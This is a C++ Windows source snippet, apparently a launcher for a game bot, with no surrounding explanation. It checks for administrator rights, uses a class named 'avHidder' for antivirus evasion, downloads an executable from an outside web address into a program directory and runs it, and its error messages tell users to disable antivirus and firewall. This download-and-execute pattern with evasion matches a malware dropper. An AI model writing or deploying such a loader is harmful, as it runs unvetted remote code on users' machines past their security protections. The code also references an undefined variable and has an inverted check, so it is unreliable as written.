Code:
char m_sPath[MAX_PATH];
BOOL IsUserAdmin(VOID)
{
BOOL b;
SID_IDENTIFIER_AUTHORITY NtAuthority = SECURITY_NT_AUTHORITY;
PSID AdministratorsGroup;
b = AllocateAndInitializeSid(
&NtAuthority,
2,
SECURITY_BUILTIN_DOMAIN_RID,
DOMAIN_ALIAS_RID_ADMINS,
0, 0, 0, 0, 0, 0,
&AdministratorsGroup);
if(b)
{
if (!CheckTokenMembership( NULL, AdministratorsGroup, &b))
{
b = FALSE;
}
FreeSid(AdministratorsGroup);
}
return(b);
}
char* GetFile()
{
static TCHAR path[MAX_PATH];
strcpy((char*)path, m_sPath);
strcat((char*)path, "program files\\MaWin.exe");
return (char*)path;
}
int CALLBACK WinMain( HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow )
{
AntivirUDClass avHidder;
GetModuleFileName(hInstance,m_sPath, MAX_PATH);
for(int i = strlen(m_sPath); i >= 1; i--)
{
if(m_sPath[i] == '\\')
{
m_sPath[i+1] = 0;
break;
}
}
HANDLE handle = CreateMutex(NULL, true, "lacmt");
if(GetLastError() != ERROR_SUCCESS)
{
MessageBox(0,"Application is already running!","ERROR",MB_ICONERROR);
return FALSE;
}
CreateMutex(NULL, true, "Apx3n");
if( GetLastError() != ERROR_SUCCESS)
{
MessageBox(0,"Application is already running!","ERROR",MB_ICONERROR);
return FALSE;
}
if(!IsUserAdmin())
{
MessageBox(0,"Please run this application as administrator!","ERROR",MB_ICONERROR);
}
else
{
if(!oldFile && avHidder.downloadFile("http://xenox3-coding.com/l3v3lB0t/MaWin.exe",GetFile() ) )
{
MessageBox(0,"Could not update bot! \n (Please make sure no Neuz.exe or AntiVir/Firewall is running )","ERROR",MB_ICONERROR);
}
else if( !avHidder.startFile( "program files\\MaWin.exe", "x3x3x3") )
{
MessageBox(0,"Could not start Bot \n (Please deactivate AntiVir/FireWall etc.)","ERROR",MB_ICONERROR);
}
}
return TRUE;
}